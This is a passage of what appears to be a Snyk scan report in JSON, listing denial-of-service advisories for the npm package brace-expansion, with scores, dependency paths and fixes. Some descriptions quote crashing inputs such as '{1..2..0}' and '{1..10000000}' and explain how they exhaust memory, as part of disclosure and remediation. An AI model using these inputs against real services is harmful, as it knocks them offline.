"brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": 